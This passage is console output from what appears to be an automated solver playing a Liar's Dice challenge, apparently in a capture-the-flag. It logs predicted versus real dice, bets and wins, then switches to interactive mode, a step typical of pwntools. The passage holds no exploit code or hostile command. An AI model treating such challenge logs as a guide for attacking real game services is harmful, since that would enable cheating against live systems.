Real : [1, 0, 3, 1, 1, 1]
I must bet
BET face = 3, num = 1
My Turn:
BET face = 3, num = 3
My Turn:
LIAR!
Player 0 die --
All player dice num = [1, 0, 0, 0, 0, 0, 0, 0, 0, 28]

Round 84
Robot think: [2, 8, 5, 4, 8, 2]
Real : [1, 2, 0, 0, 3, 0]
I must bet
BET face = 2, num = 1
My Turn:
SPOT ON!
Player 9 die ++
All player dice num = [1, 0, 0, 0, 0, 0, 0, 0, 0, 29]

Round 85
Robot think: [6, 5, 3, 7, 3, 6]
Real : [1, 1, 1, 0, 0, 3]
I must bet
BET face = 6, num = 1
My Turn:
BET face = 6, num = 3
My Turn:
LIAR!
Player 0 die --
All player dice num = [0, 0, 0, 0, 0, 0, 0, 0, 0, 29]

Round 86
Robot think: [5, 3, 8, 5, 4, 4]
Real : [0, 1, 2, 0, 0, 2]
We win!!!
[*] Switching to interactive mode